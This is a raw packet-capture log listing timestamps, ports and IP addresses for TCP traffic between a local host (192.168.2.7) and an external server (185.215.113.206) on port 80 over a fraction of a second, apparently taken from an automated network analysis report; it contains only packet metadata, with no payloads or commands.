Nov 20, 2024 23:12:29.209444046 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.209470034 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.209508896 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.210547924 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.210589886 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.210722923 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.210761070 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.211656094 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.211704969 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.211760998 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.211802959 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.212774992 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.212814093 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.212821007 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.212855101 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.213865995 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.213908911 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.213946104 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.213988066 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.215033054 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.215074062 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.215178967 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.215219975 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.216211081 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.216254950 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.216346979 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.216391087 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.217286110 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.217327118 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.217434883 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.217475891 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.218360901 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.218419075 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.218441010 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.218487024 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.219466925 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.219516993 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.219554901 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.219598055 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.220592976 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.220649004 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.220709085 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.220750093 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.221690893 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.221748114 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.221832037 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.221875906 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.222831011 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.222873926 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.222929955 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.222973108 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.223956108 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.224055052 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.224081993 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.224097967 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.225059032 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.225106001 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.225167036 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.225208998 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.226238966 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.226252079 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.226300001 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.226300001 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.272965908 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.273096085 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.273094893 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.273150921 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.273454905 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.273514032 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.273699045 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.273761034 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.274590015 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.274640083 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.274749994 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.274787903 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.275681973 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.275733948 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.275780916 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.275820017 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.276823044 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.276875019 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.277081966 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.277127981 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.277930021 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.277975082 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.277982950 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.278017998 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.279066086 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.279124022 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.279166937 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.279218912 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.280163050 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.280213118 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.280281067 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.280325890 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.281274080 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.281321049 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.281377077 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.281419992 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.282407999 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.282464981 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.282504082 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.282546997 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.283595085 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.283628941 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.283643961 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.283670902 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.284626007 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.284682989 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.284722090 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.284766912 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.285780907 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.285826921 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.285881996 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.285926104 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.286871910 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.286916018 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.286969900 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.287012100 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.287981987 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.288028002 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.288120031 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.288161039 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.289093971 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.289136887 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.289206982 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.289249897 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.290216923 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.290261984 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.290296078 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.290342093 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.316345930 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.316422939 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.316428900 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.316473007 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.316847086 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.316889048 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.316900969 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.316941977 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.317954063 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.317996025 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.318074942 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.318116903 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.319051981 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.319113016 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.319128036 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.319169998 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.320177078 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.320221901 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.320261002 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.320300102 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.321295023 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.321340084 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.321420908 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.321458101 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.322431087 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.322488070 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.322520971 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.322559118 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.323524952 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.323566914 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.323657990 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.323695898 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.324630022 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.324678898 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.324771881 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.324819088 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.325797081 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.325845957 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.325887918 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.325932026 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.326916933 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.326967001 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.327007055 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.327048063 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.328031063 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.328080893 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.328125954 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.328166962 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.329201937 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.329261065 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.329301119 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.329344988 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.330271006 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.330317020 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.330353022 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.330395937 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.331439018 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.331490993 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.331513882 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.331562996 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.332506895 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.332552910 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.332640886 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.332685947 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.333617926 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.333662987 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.333703995 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.333745956 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.334714890 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.334764957 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.334814072 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.334861040 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.335896969 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.335949898 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.336025000 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.336066008 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.336947918 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.336992979 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.337039948 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.337080002 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.410135031 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.410175085 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.410193920 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.410219908 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.410672903 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.410717010 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.410823107 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.410866022 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.411787987 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.411833048 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.411885977 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.411931992 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.412914038 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.412966013 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.412967920 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.413018942 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.414035082 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.414104939 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.414124966 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.414160013 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.415169954 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.415262938 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.415328026 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.415375948 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.416241884 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.416296959 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.416430950 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.416476011 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.417370081 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.417414904 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.417467117 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.417509079 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.418502092 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.418540001 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.418560982 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.418575048 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.419600010 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.419637918 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.419648886 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.419678926 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.420773029 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.420835972 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.420839071 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.420878887 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.421859026 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.421911955 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.421951056 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.421992064 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.422960043 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.423012018 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.423060894 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.423109055 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.424073935 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.424124956 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.424179077 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.424236059 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.425190926 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.425244093 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.425298929 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.425338984 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.426301956 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.426350117 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.426398993 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.426450014 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.427427053 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.427493095 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.427531958 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.427547932 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.474231958 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.474308968 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.474370956 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.474446058 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.474678040 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.474728107 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.474808931 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.474858046 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.475601912 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.475646973 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.475712061 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.475756884 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.476494074 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.476537943 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.476599932 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.476643085 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.477485895 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.477524042 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.477592945 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.477634907 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.478270054 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.478312016 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.478352070 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.478393078 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.479229927 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.479281902 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.479332924 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.479382038 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.480032921 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.480077982 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.480140924 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.480189085 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.480954885 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.481035948 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.481072903 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.481123924 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.481872082 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.481934071 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.481967926 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.482016087 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.482744932 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.482783079 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.482840061 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.482886076 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.483654976 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.483707905 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.483747959 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.483795881 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.484555960 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.484600067 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.484679937 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.484721899 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.485451937 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.485493898 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.485555887 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.485595942 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.486346960 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.486399889 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.486525059 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:29.486573935 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:29.487243891 CET	80	49710	185.215.113.206	192.168.2.7
